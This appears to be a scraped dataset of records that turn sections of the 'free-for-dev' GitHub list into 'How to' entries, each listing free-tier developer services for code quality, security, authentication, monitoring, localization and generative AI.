"2026-01-16T23:29:38.601575"}
{"id": "gh_ec1c946d1e13", "question": "How to: Code Quality", "question_body": "About ripienaar/free-for-dev", "answer": "* [beanstalkapp.com](https://beanstalkapp.com/) — A complete workflow to write, review, and deploy code), a free account for one user, and one repository with 100 MB of storage\n  * [codacy.com](https://www.codacy.com/) — Automated code reviews for PHP, Python, Ruby, Java, JavaScript, Scala, CSS, and CoffeeScript, free for unlimited public and private repositories\n  * [Codeac.io](https://www.codeac.io/infrastructure-as-code.html?ref=free-for-dev) - Automated Infrastructure as Code review tool for DevOps integrates with GitHub, Bitbucket, and GitLab (even self-hosted). In addition to standard languages, it also analyzes Ansible, Terraform, CloudFormation, Kubernetes, and more. (open-source free)\n  * [codecov.io](https://codecov.io/) — Code coverage tool (SaaS), free for Open Source and one free private repo\n  * [CodeFactor](https://www.codefactor.io) — Automated Code Review for Git. The free version includes unlimited users, public repositories, and one private repo.\n  * [coderabbit.ai](https://coderabbit.ai) — AI-powered code review tool that integrates with GitHub/GitLab. Free tier includes 200 files/hour, 3 reviews per hour, and 50 conversations/hour. Free forever for open source projects.\n  * [CodSpeed](https://codspeed.io) - Automate performance tracking in your CI pipelines. Catch performance regressions before deployment, thanks to precise and consistent metrics. Free forever for Open Source projects.\n  * [coveralls.io](https://coveralls.io/) — Display test coverage reports, free for Open Source\n  * [deepscan.io](https://deepscan.io) — Advanced static analysis for automatically finding runtime errors in JavaScript code, free for Open Source\n  * [DeepSource](https://deepsource.io/) - DeepSource continuously analyzes source code changes, finding and fixing issues categorized under security, performance, anti-patterns, bug-risks, documentation, and style. Native integration with GitHub, GitLab, and Bitbucket.\n  * [DiffText](https://difftext.com) - Instantly find the differences between two blocks of code. Completely free to use.\n  * [eversql.com](https://www.eversql.com/) — EverSQL - The #1 platform for database optimization. Gain critical insights into your database and SQL queries automatically.\n  * [gerrithub.io](https://review.gerrithub.io/) — Gerrit code review for GitHub repositories for free\n  * [goreportcard.com](https://goreportcard.com/) — Code Quality for Go projects, free for Open Source\n  * [gtmetrix.com](https://gtmetrix.com/) — Reports and thorough recommendations to optimize websites\n  * [holistic.dev](https://holistic.dev/) - The #1 static code analyzer for Postgresql optimization. Performance, security, and architect database issues automatic detection service\n  * [houndci.com](https://houndci.com/) — Comments on GitHub commits about code quality, free for Open Source\n  * [reviewable.io](https://reviewable.io/) — Code review for GitHub repositories, free for public or personal repos.\n  * [scan.coverity.com](https://scan.coverity.com/) — Static code analysis for Java, C/C++, C# and JavaScript, free for Open Source\n  * [scrutinizer-ci.com](https://scrutinizer-ci.com/) — Continuous inspection platform, free for Open Source\n  * [semanticdiff.com](https://app.semanticdiff.com/) — Programming language aware diff for GitHub pull requests and commits, free for public repositories\n  * [shields.io](https://shields.io) — Quality metadata badges for open source projects\n  * [sonarcloud.io](https://sonarcloud.io) — Automated source code analysis for Java, JavaScript, C/C++, C#, VB.NET, PHP, Objective-C, Swift, Python, Groovy and even more languages, free for Open Source\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601588"}
{"id": "gh_7a89dd861862", "question": "How to: Code Search and Browsing", "question_body": "About ripienaar/free-for-dev", "answer": "* [CodeKeep](https://codekeep.io) - Google Keep for Code Snippets. Organize, Discover, and share code snippets, featuring a powerful code screenshot tool with preset templates and a linking feature.\n  * [libraries.io](https://libraries.io/) — Search and dependency update notifications for 32 different package managers, free for open source\n  * [Namae](https://namae.dev/) - Search various websites like GitHub, Gitlab, Heroku, Netlify, and many more for the availability of your project name.\n  * [tickgit.com](https://www.tickgit.com/) — Surfaces `TODO` comments (and other markers) to identify areas of code worth returning to for improvement.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601595"}
{"id": "gh_76cf0c21401e", "question": "How to: Security and PKI", "question_body": "About ripienaar/free-for-dev", "answer": "* [aikido.dev](https://www.aikido.dev) — All-in-one appsec platform covering SCA, SAST, CSPM, DAST, Secrets, IaC, Malware, Container scanning, EOL,... Free plan includes two users, scanning of 10 repos, 1 cloud, 2 containers & 1 domain.\n  * [CertKit](https://www.certkit.io/certificate-management) - Manage SSL Certificate issuance, renewal, and monitoring. Search the Certificate Transparency Logs. Free for 3 certificates and 1 user after the beta.\n  * [crypteron.com](https://www.crypteron.com/) — Cloud-first, developer-friendly security platform prevents data breaches in .NET and Java applications\n  * [CyberChef](https://gchq.github.io/CyberChef/) — A simple, intuitive web app for analyzing and decoding/encoding data without dealing with complex tools or programming languages. Like a Swiss army knife of cryptography & encryption. All features are free to use, with no limit. Open source if you wish to self-host.\n  * [Datree](https://www.datree.io/) — Open Source CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies\n  * [Dependabot](https://dependabot.com/) Automated dependency updates for Ruby, JavaScript, Python, PHP, Elixir, Rust, Java (Maven and Gradle), .NET, Go, Elm, Docker, Terraform, Git Submodules, and GitHub Actions.\n  * [DJ Checkup](https://djcheckup.com) — Scan your Django site for security flaws with this free, automated checkup tool. Forked from the Pony Checkup site.\n  * [Doppler](https://doppler.com/) — Universal Secrets Manager for application secrets and config, with support for syncing to various cloud providers. Free for five users with basic access controls.\n  * [Dotenv](https://dotenv.org/) — Sync your .env files, quickly & securely. Stop sharing your .env files over insecure channels like Slack and email, and never lose an important .env file again. Free for up to 3 teammates.\n  * [GitGuardian](https://www.gitguardian.com) — Keep secrets out of your source code with automated secrets detection and remediation. Scan your git repos for 350+ types of secrets and sensitive files – Free for individuals and teams of 25 developers or less.\n  * [HasMySecretLeaked](https://gitguardian.com/hasmysecretleaked) - Search across 20 million exposed secrets in public GitHub repositories, gists, issues,and comments for Free\n  * [Have I been pwned?](https://haveibeenpwned.com) — REST API for fetching the information on the breaches.\n  * [hostedscan.com](https://hostedscan.com) — Online vulnerability scanner for web applications, servers, and networks. Ten free scans per month.\n  * [Infisical](https://infisical.com/) — Open source platform that lets you manage developer secrets across your team and infrastructure: everywhere from local development to staging/production 3rd-party services. Free for up to 5 developers.\n  * [Internet.nl](https://internet.nl) — Test for modern Internet Standards like IPv6, DNSSEC, HTTPS, DMARC, STARTTLS and DANE\n  * [letsencrypt.org](https://letsencrypt.org/) — Free SSL Certificate Authority with certs trusted by all major browsers\n  * [meterian.io](https://www.meterian.io/) - Monitor Java, Javascript, .NET, Scala, Ruby, and NodeJS projects for security vulnerabilities in dependencies. Free for one private project, unlimited projects for open source.\n  * [Mozilla Observatory](https://observatory.mozilla.org/) — Find and fix security vulnerabilities in your site.\n  * [Project Gatekeeper](https://gatekeeper.binarybiology.top/) - An All-in-One SSL Toolkit Offering various features like Private Key & CSR Generator, SSL Certificate Decoder, Certificate Matcher and Order SSL Certificate. We offer the users to generate Free SSL Certificates from Let's Encrypt, Google Trust and BuyPass using CNAME Records rather than TXT Records.\n  * [Protectumus](https://protectumus.com) - Free website security check, site antivirus, and server firewall (WAF) for PHP. Email notifications for registered users in the free tier.\n  * [Public Cloud Threat Intelligence](https://cloudintel.himanshuanand.com/) — High confidence Indicator of Compromise(IOC) targeting public cloud infrastructure, A portion is available on github (https://github.com/unknownhad/AWSAttacks). Full list is available via API\n  * [pyup.io](https://pyup.io) — Monitor Python dependencies for security vulnerabilities and update them automatically. Free for one private project, unlimited projects for open source.\n  * [qualys.com](https://www.qualys.com/community-edition) — Find web app vulnerabilities, audit for OWASP Risks\n  * [Socket](https://socket.dev) — Free supply chain security for individual developers, small teams, and open source projects. Includes a free app and firewall CLI tool to protect your code from vulnerable and malicious dependencies. Detects 70+ indicators of supply chain risk.\n  * [SOOS](https://soos.io) - Free, unlimited SCA scans for open-source projects. Detect and fix security threats before release. Protect your p", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601623"}
{"id": "gh_568514fb3872", "question": "How to: Authentication, Authorization, and User Management", "question_body": "About ripienaar/free-for-dev", "answer": "* [360username](https://360username.com/) - A free tool to search a username across 90+ social platforms to find matching profiles.\n  * [Aserto](https://www.aserto.com) - Fine-grained authorization as a service for applications and APIs. Free up to 1000 MAUs and 100 authorizer instances.\n  * [asgardeo.io](https://wso2.com/asgardeo) - Seamless Integration of SSO, MFA, passwordless auth and more. Includes SDKs for frontend and backend apps. Free up to 1000 MAUs and five identity providers.\n  * [Auth0](https://auth0.com/) — Hosted SSO. The free plan includes 25,000 MAUs, unlimited Social Connections, a custom domain, and more.\n  * [Authgear](https://www.authgear.com) - Bring Passwordless, OTPs, 2FA, SSO to your apps in minutes. All Front-end included. Free up to 5000 MAUs.\n  * [Authress](https://authress.io/) — Authentication login and access control, unlimited identity providers for any project. Facebook, Google, Twitter and more. The first 1000 API calls are free.\n  * [Authy](https://authy.com) - Two-factor authentication (2FA) on multiple devices, with backups. Drop-in replacement for Google Authenticator. Free for up to 100 successful authentications.\n  * [Cerbos Hub](https://www.cerbos.dev/product-cerbos-hub) - A complete authorization management system for authoring, testing, and deploying access policies. Fine-grained authorization and access control, free up to 100 monthly active principals.\n  * [Clerk](https://clerk.com) — User management, authentication, 2FA/MFA, prebuilt UI components for sign-in, sign-up, user profiles, and more. Free up to 10,000 monthly active users.\n  * [Cloud-IAM](https://www.cloud-iam.com/) — Keycloak Identity and Access Management as a Service. Free up to 100 users and one realm.\n  * [Descope](https://www.descope.com/) — Highly customizable AuthN flows, has both a no-code and API/SDK approach, Free 7,500 active users/month, 50 tenants (up to 5 SAML/SSO tenants).\n  * [duo.com](https://duo.com/) — Two-factor authentication (2FA) for website or app. Free for ten users, all authentication methods, unlimited, integrations, hardware tokens.\n  * [Kinde](https://kinde.com/) - Simple, robust authentication you can integrate with your product in minutes.  Everything you need to get started with 7,500 free MAU.\n  * [logintc.com](https://www.logintc.com/) — Two-factor authentication (2FA) by push notifications, free for ten users, VPN, Websites, and SSH\n  * [Logto](https://logto.io/) - Develop, secure, and manage user identities of your product - for both authentication and authorization. Free for up to 5,000 MAUs with open-source self-hosted option available.\n  * [MojoAuth](https://mojoauth.com/) - MojoAuth makes it easy to implement Passwordless authentication on your web, mobile, or any application in minutes.\n  * [Okta](https://developer.okta.com/signup/) — User management, authentication and authorization. Free for up to 100 monthly active users.\n  * [Ory](https://ory.sh/) - AuthN/AuthZ/OAuth2.0/Zero Trust managed security platform. Forever free developer accounts with all security features, unlimited team members, 200 daily active users, and 25k/mo permission checks.\n  * [Permit.io](https://permit.io) - Auhtorization-as-a-service provider platform enabling RBAC, ABAC, and ReBAC for scalable microservices with real-time updates and a no-code policy UI. A 1000 Monthly Active User free tier.\n  * [Phase Two](https://phasetwo.io) - Keycloak Open Source Identity and Access Management. Free realm up to 1000 users, up to 10 SSO connections, leveraging Phase Two's Keycloak enhanced container which includes the [Organization](https://phasetwo.io/product/organizations/) extension.\n  * [PropelAuth](https://propelauth.com) — A Sell to companies of any size immediately with a few lines of code, free up to 200 users and 10k Transactional Emails (with a watermark branding: \"Powered by PropelAuth\").\n  * [Stack Auth](https://stack-auth.com) — Open-source authentication that doesn't suck. The most developer-friendly solution, getting you started in just five minutes. Self-hostable for free, or offers a managed SaaS version with 10k free Monthly Active Users.\n  * [Stytch](https://www.stytch.com/) - An all-in-one platform that provides APIs and SDKs for authentication and fraud prevention. The free plan includes 10,000 monthly active users, unlimited organizations, 5 SSO or SCIM connections, and 1,000 M2M tokens.\n  * [SuperTokens](https://supertokens.com/) - Open source user authentication that natively integrates into your app - enabling you to get started quickly while controlling the user and developer experience. Free for up to 5000 MAUs.\n  * [WorkOS](https://workos.com/) - Free user management and authentication for up to 1 Million MAUs. Support email + password, social auth, Magic Auth, MFA, and more.\n  * [ZITADEL Cloud](https://zitadel.com) — A turnkey user and access management that works for you and supports multi-tenant (B2B) use cases. Free for up to 25,000 authenticated requests, with all s", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601640"}
{"id": "gh_5f11784b5e84", "question": "How to: Mobile App Distribution and Feedback", "question_body": "About ripienaar/free-for-dev", "answer": "* [Appho.st](https://appho.st) - Mobile app hosting platform. The free plan includes five apps, 50 monthly downloads, and a maximum file size of 100 MB.\n  * [Diawi](https://www.diawi.com) - Deploy iOS & Android apps directly to devices. Free plan: app uploads, password-protected links, 1-day expiration, ten installations.\n  * [GetUpdraft](https://www.getupdraft.com) - Distribute mobile apps for testing. The free plan includes one app project, three app versions, 500 MB storage, and 100 app installations per month.\n  * [InstallOnAir](https://www.installonair.com) - Distribute iOS & Android apps over the air. Free plan: unlimited uploads, private links, 2-day expiration for guests, 60 days for registered users.\n  * [Loadly](https://loadly.io) - iOS & Android beta apps distribution service offers completely free services with unlimited downloads, high-speed downloads, and unlimited uploads.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601648"}
{"id": "gh_14727fe0f70e", "question": "How to: Management System", "question_body": "About ripienaar/free-for-dev", "answer": "* [bitnami.com](https://bitnami.com/) — Deploy prepared apps on IaaS. Management of 1 AWS micro instance free\n  * [Esper](https://esper.io) — MDM and MAM for Android Devices with DevOps. One hundred devices free with one user license and 25 MB Application Storage.\n  * [jamf.com](https://www.jamf.com/) —  Device management for iPads, iPhones, and Macs, three devices free\n  * [Miradore](https://miradore.com) — Device Management service. Stay up-to-date with your device fleet and secure unlimited devices for free. The free plan offers basic features.\n  * [moss.sh](https://moss.sh) - Help developers deploy and manage their web apps and servers. Free up to 25 git deployments per month\n  * [ploi.io](https://ploi.io/) - Server management tool to easily manage and deploy your servers & sites. Free for one server.\n  * [runcloud.io](https://runcloud.io/) - Server management focusing mainly on PHP projects. Free for up to 1 server.\n  * [serveravatar.com](https://serveravatar.com) — Manage and monitor PHP-based web servers with automated configurations. Free for one server.\n  * [xcloud.host](https://xcloud.host) — Server management and deployment platform with a user-friendly interface. Free tier available for one server.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601655"}
{"id": "gh_8cb3cc3d6b6e", "question": "How to: Log Management", "question_body": "About ripienaar/free-for-dev", "answer": "* [bugfender.com](https://bugfender.com/) — Free up to 100k log lines/day with 24 hours retention\n  * [log.dog](https://log.dog/) — LogDog is a remote debugging/logging SDK (iOS and Android) with a web ui. Captures all logs, requests and events in real-time and allows to intercept them. Free for up to 100MB of logs every month\n  * [logflare.app](https://logflare.app/) — Free for up to 12,960,000 entries per app per month, 3 days retention\n  * [logtail.com](https://logtail.com/) — ClickHouse-based SQL-compatible log management. Free up to 1 GB per month, three days retention.\n  * [logzab.com](https://logzab.com/) — Audit trail management system. Free 1,000 user activity logs per month, 1-month retention, for up to 5 projects.\n  * [ManageEngine Log360 Cloud](https://www.manageengine.com/cloud-siem/) — Log Management service powered by Manage Engine. Free Plan offers 50 GB storage with 15 days Storage Retention and 7 days search.\n  * [openobserve.ai](https://openobserve.ai/) - 200 GB Ingestion/month free, 15 Days Retention\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601676"}
{"id": "gh_48227580af4d", "question": "How to: Translation Management", "question_body": "About ripienaar/free-for-dev", "answer": "* [AutoLocalise.com](https://www.autolocalise.com/) — Instantly localize without managing translation files. Free for up to 10,000 characters/month, unlimited languages.\n  * [crowdin.com](https://crowdin.com/) — Unlimited projects, unlimited strings, and collaborators for Open Source\n  * [Free PO editor](https://pofile.net/free-po-editor) — Free for everybody\n  * [Lingo.dev](https://lingo.dev) – Open-source AI-powered CLI for web & mobile localization. Bring your own LLM, or use 10,000 free words every month via Lingo.dev-managed localization engine.\n  * [lingohub.com](https://lingohub.com/) — Free up to 3 users, always free for Open Source\n  * [localazy.com](https://localazy.com) - Free for 1000 source language strings, unlimited languages, unlimited contributors, startup and open source deals\n  * [Localit](https://localit.io) – Fast, developer-friendly localization platform with seamless and free GitHub/GitLab integration, AI-assisted and manual translations, and a generous free plan (includes 2 users, 500 keys, and unlimited projects).\n  * [localizely.com](https://localizely.com/) — Free for Open Source\n  * [Loco](https://localise.biz/) — Free up to 2000 translations, Unlimited translators, ten languages/project, 1000 translatable assets/project\n  * [POEditor](https://poeditor.com/) — Free up to 1000 strings\n  * [SimpleLocalize](https://simplelocalize.io/) - Free up to 100 translation keys, unlimited strings, unlimited languages, startup deals\n  * [Texterify](https://texterify.com/) - Free for a single user\n  * [Tolgee](https://tolgee.io) - Free SaaS offering with limited translations, forever-free self-hosted version\n  * [transifex.com](https://www.transifex.com/) — Free for Open Source\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601685"}
{"id": "gh_9d09e1437212", "question": "How to: Monitoring", "question_body": "About ripienaar/free-for-dev", "answer": "* [assertible.com](https://assertible.com) — Automated API testing and monitoring. Free plans for teams and individuals.\n  * [Better Stack](https://betterstack.com/better-uptime) - Uptime monitoring, incident management, on-call scheduling/alerting, and status pages in a single product. The free plan includes ten monitors with 3-minute check frequency and status pages.\n  * [bleemeo.com](https://bleemeo.com) - Free for 3 servers, 5 uptime monitors, unlimited users, unlimited dashboards, unlimited alerting rules.\n  * [checklyhq.com](https://checklyhq.com) - Open source E2E / Synthetic monitoring and deep API monitoring for developers. Free plan with one user and 10k API & network / 1.5k browser check runs.\n  * [Core Web Vitals History](https://punits.dev/core-web-vitals-historical/) - Find Core Web Vitals history for a url or a website.\n  * [cronitor.io](https://cronitor.io/) - Performance insights and uptime monitoring for cron jobs, websites, APIs and more. A free tier with five monitors.\n  * [datadoghq.com](https://www.datadoghq.com/) — Free for up to 5 nodes\n  * [deadmanssnitch.com](https://deadmanssnitch.com/) — Monitoring for cron jobs. One free snitch (monitor), more if you refer others to sign up\n  * [downtimemonkey.com](https://downtimemonkey.com/) — 60 uptime monitors, 5-minute interval. Email, Slack alerts.\n  * [economize.cloud](https://economize.cloud) — Economize helps demystify cloud infrastructure costs by organizing cloud resources to optimize and report the same. Free for up to $5,000 spent on Google Cloud Platform every month.\n  * [fivenines.io](https://fivenines.io/) — Linux server monitoring with real‑time dashboards and alerting — free forever for up to 5 monitored servers at 60-seconds interval. No credit card required.\n  * [Grafana Cloud](https://grafana.com/products/cloud/) - Grafana Cloud is a composable observability platform that integrates metrics and logs with Grafana. Free: 3 users, ten dashboards, 100 alerts, metrics storage in Prometheus and Graphite (10,000 series, 14 days retention), logs storage in Loki (50 GB of logs, 14 days retention)\n  * [healthchecks.io](https://healthchecks.io) — Monitor your cron jobs and background tasks. Free for up to 20 checks.\n  * [incidenthub.cloud](https://incidenthub.cloud/) — Cloud and SaaS status page aggregator - 20 monitors and 2 notification channels (Slack and Discord) are free forever.\n  * [inspector.dev](https://www.inspector.dev) - A complete Real-Time monitoring dashboard in less than one minute with a free forever tier.\n  * [instatus.com](https://instatus.com) - Get a beautiful status page in 10 seconds. Free forever with unlimited subs and unlimited teams.\n  * [linkok.com](https://linkok.com) - Online broken link checker, free for small websites up to 100 pages, completely free for open-source projects.\n  * [loader.io](https://loader.io/) — Free load testing tools with limitations\n  * [Middleware.io](https://middleware.io/) -  Middleware observability platform provides complete visibility into your apps & stack, so you can monitor & diagnose issues at scale. They have a free forever plan for Dev community use that allows Log monitoring for up to 1M log events, Infrastructure monitoring & APM for up to 2 hosts.\n  * [MonitorMonk](https://monitormonk.com) - Minimalist uptime monitoring with beautiful status pages. The Forever Free plan offers HTTPS, Keyword, SSL and Response-time monitorming for 10 websites or api-endpoints, and provides 2 dashboards/status pages.\n  * [netdata.cloud](https://www.netdata.cloud/) — Netdata is an open-source tool to collect real-time metrics. It's a growing product and can also be found on GitHub!\n  * [newrelic.com](https://www.newrelic.com) — New Relic observability platform built to help engineers create more perfect software. From monoliths to serverless, you can instrument everything and then analyze, troubleshoot, and optimize your entire software stack. The free tier offers 100GB/month of free data ingest, one free full-access user, and unlimited free primary users.\n  * [OnlineOrNot.com](https://onlineornot.com/) - OnlineOrNot provides uptime monitoring for websites and APIs, monitoring for cron jobs and scheduled tasks. Also provides status pages. The first five checks with a 3-minute interval are free. The free tier sends alerts via Slack, Discord, and Email.\n  * [OntarioNet.ca CN Test](https://cntest.ontarionet.ca) — Check if a website is blocked in China by the Great Firewall. It identifies DNS pollution by comparing DNS results and ASN information detected by servers in China versus servers in the United States.\n  * [pagecrawl.io](https://pagecrawl.io/) -  Monitor website changes, free for up to 6 monitors with daily checks.\n  * [pagertree.com](https://pagertree.com/) - Simple interface for alerting and on-call management. Free up to 5 users.\n  * [phare.io](https://phare.io/) - Uptime Monitoring free for up to 100,000 events for unlimited projets and unlimited status pages.\n  * [pingbreak.com]", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601707"}
{"id": "gh_1d9db4a21448", "question": "How to: Education and Career Development", "question_body": "About ripienaar/free-for-dev", "answer": "* [Cisco Networking Academy, Skills for All](https://skillsforall.com/) - Offers free certification-aligned courses in topics like cybersecurity, networking, and Python.\n  * [DeepLearning.AI Short Courses](https://www.deeplearning.ai/short-courses/) - Free short courses from industry-leading experts to get hands-on experience with the latest generative AI tools and techniques in an hour or less.\n  * [DevNet Academy](https://devnet-academy.com/) – Free, self-paced training for the Cisco DevNet Expert / CCIE Automation certification. Covers Python Click and Flask-RESTx.\n  * [Django-tutorial.dev](https://django-tutorial.dev) - Free online guides for learning Django as their first framework & gives free dofollow backlink to articles written by users.\n  * [edX](https://www.edx.org/) - Offers access to over 4,000 free online courses from 250 leading institutions, including Harvard and MIT, specializing in computer science, engineering, and data science.\n  * [Exercism](https://exercism.org) – Free, open-source programming education in over 75 programming languages, with human mentoring. A nonprofit organisation.\n  * [Free Professional Resume Templates & Editor](https://www.overleaf.com/latex/templates/tagged/cv) - Free platform with lots of Resume templates of Experienced Professionals, ready to clone and edit fully and download, ATS optimized.\n  * [FreeCodeCamp](https://www.freecodecamp.org/) - Open-source platform offering free courses and certifications in Data Analysis, Information Security, Web Development, and more.\n  * [Full Stack Open](https://fullstackopen.com/en/) – Free university-level course on modern web development with React, Node.js, GraphQL, TypeScript, and more. Fully online and self-paced.\n  * [Khan Academy](https://www.khanacademy.org/computing/computer-programming) - Free online guides for learning basic and advanced HTML/CSS, JavaScript and SQL.\n  * [LabEx](https://labex.io) - Develop skills in Linux, DevOps, Cybersecurity, Programming, Data Science, and more through interactive labs and real-world projects.\n  * [MIT OpenCourseWare](https://ocw.mit.edu/) - MIT OpenCourseWare is an online publication of materials from over 2,500 MIT courses, freely sharing knowledge with learners and educators around the world. Youtube channel can be found at [@mitocw](https://www.youtube.com/@mitocw/featured)\n  * [Roadmap.sh](https://roadmap.sh) - Free learning roadmaps covering all aspects of development from Blockchain to UX Design.\n  * [The Odin Project](https://www.theodinproject.com/) - Free, open-source platform with a curriculum focused on JavaScript and Ruby for web development.\n  * [W3Schools](https://www.w3schools.com/) - Offers free tutorials on web development technologies like HTML, CSS, JavaScript, and more.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601729"}
{"id": "gh_8514c8270697", "question": "How to: Feature Toggles Management Platforms", "question_body": "About ripienaar/free-for-dev", "answer": "* [Abby](https://www.tryabby.com) - Open-Source feature flags & A/B testing. Configuration as Code & Fully Typed Typescript SDKs. Strong integration with Frameworks such as Next.js & React. Generous free tier and cheap scaling options.\n  * [ConfigCat](https://configcat.com) - ConfigCat is a developer-centric feature flag service with unlimited team size, excellent support, and a reasonable price tag. Free plan up to 10 flags, two environments, 1 product, and 5 Million requests per month.\n  * [Flagsmith](https://flagsmith.com) - Release features with confidence; manage feature flags across web, mobile, and server-side applications. Use our hosted API, deploy to your own private cloud, or run on-premise.\n  * [GrowthBook](https://growthbook.io) - Open source feature flag and A/B testing provider with built-in Bayesian statistical analysis engine. Free for up to 3 users, unlimited feature flags and experiments.\n  * [Hypertune](https://www.hypertune.com) - Type-safe feature flags, A/B testing, analytics and app configuration, with Git-style version control and synchronous, in-memory, local flag evaluation. Free for up to 5 team members with unlimited feature flags and A/B tests.\n  * [Statsig](https://www.statsig.com) - A robust platform for feature management, A/B testing, analytics, and more. Its generous free plan offers unlimited seats, flags, experiments, and dynamic configurations, supporting up to 1 million events per month.\n  * [Toggled.dev](https://www.toggled.dev) - Enterprise-ready, scalable multi-regional feature toggles management platform. Free plan up to 10 flags, two environments, unlimited requests. SDK, analytics dashboard, release calendar, Slack notifications, and all other features are included in the endless free plan.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601747"}
{"id": "gh_5ae98a9866ab", "question": "How to: Generative AI", "question_body": "About ripienaar/free-for-dev", "answer": "* [Arize AX](https://arize.com) - AI engineering platform that helps AI eng/PMs, evaluate, and observe AI applications and agents with built-in Alyx agent. Free product inlcudes 25k spans and ingestion volume of 1gb per month.\n  * [Audio Enhancer](https://voice-clone.org/tools/audio-enhancer) — AI-powered audio enhancer SaaS that removes noise and echo while preserving natural vocal clarity. totally Free: unlimited one-click enhancements, no login required, supports MP3/WAV/FLAC\n  * [Braintrust](https://www.braintrustdata.com/) - Evals, prompt playground, and data management for Gen AI. Free plan gives upto 1,000 private eval rows/week.\n  * [Clair](https://askclair.ai/) - Clinical AI Reference. Students have free access to the professional tool suite, which includes Open Search, Clinical Summary, Med Review, Drug Interactions, ICD-10 Codes, and Stewardship. Additionally, a free trial for the professional suite is available.\n  * [Comet Opik](https://www.comet.com/site/products/opik/) - Evaluate, test, and ship LLM applications across your dev and production lifecycles. [#opensource](https://github.com/comet-ml/opik/)\n  * [Keywords AI](https://keywordsai.co) - The best LLM monitoring platform. One format to call 200+ LLMs with 2 lines of code. 10,000 free requests every month and $0 for platform features!\n  * [Langfuse](https://langfuse.com/) - Open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications. Free forever plan includes 50k observations per month and all platform features. [#opensource](https://github.com/langfuse/langfuse)\n  * [Langtrace](https://langtrace.ai) - enables developers to trace, evaluate, manage prompts and datasets, and debug issues related to an LLM application’s performance. It creates open telemetry standard traces for any LLM which helps with observability and works with any observability client. Free plan offers 50K traces/month.\n  * [LangWatch](https://langwatch.ai) - A LLMOps platform helping AI teams measure, monitor, and optimize LLM applications for reliability, cost-efficiency, and performance. With a powerful DSPy component, we enable seamless collaboration between engineers and non-technical teams to fine-tune and productionize GenAI products. Free plan includes all platform features, 1k traces/month and 1 workflow DSPy optimizers. [#opensource](https://github.com/langwatch/langwatch)\n  * [Mediaworkbench.ai](https://mediaworkbench.ai) - MediaWorkbench.ai offers 100,000 free words for Azure OpenAI, DeepSeek, and Google Gemini models, enabling users to access powerful tools for code generation, deep research, and image creation.\n  * [OpenRouter](https://openrouter.ai/models?q=free) - Provides various free AI models including DeepSeek R1, V3, Llama, and Moonshot AI. These models excel in natural language processing and are suitable for diverse development needs. Note that while these models are free to use, they are subject to rate limits. Additionally, OpenRouter offers paid models for more advanced requirements, for instance Claude, OpenAI, Grok, Gemini, and Nova.\n  * [Othor AI](https://othor.ai/) - An AI-native fast, simple, and secure alternative to popular business intelligence solutions like Tableau, Power BI, and Looker. Othor utilizes large language models (LLMs) to deliver custom business intelligence solutions in minutes. The Free Forever plan provides one workspace with five datasource connections for one user, with no limits on analytics. [#opensource](https://github.com/othorai/othor.ai)\n  * [Pollinations.AI](https://pollinations.ai/) - easy-to-use, free image generation AI with free API available. No signups or API keys required, and several option for integrating into a website or workflow. [#opensource](https://github.com/pollinations/pollinations)\n  * [Portkey](https://portkey.ai/) - Control panel for Gen AI apps featuring an observability suite & an AI gateway. Send & log up to 10,000 requests for free every month.\n  * [ReportGPT](https://ReportGPT.app) - AI Powered Writing Assistant. The entire platform is free as long as you bring your own API key.\n  * [Zenable](https://zenable.io) - Instantly auto-fix outputs from tools like Cursor, Windsurf, and Copilot to meet your company's 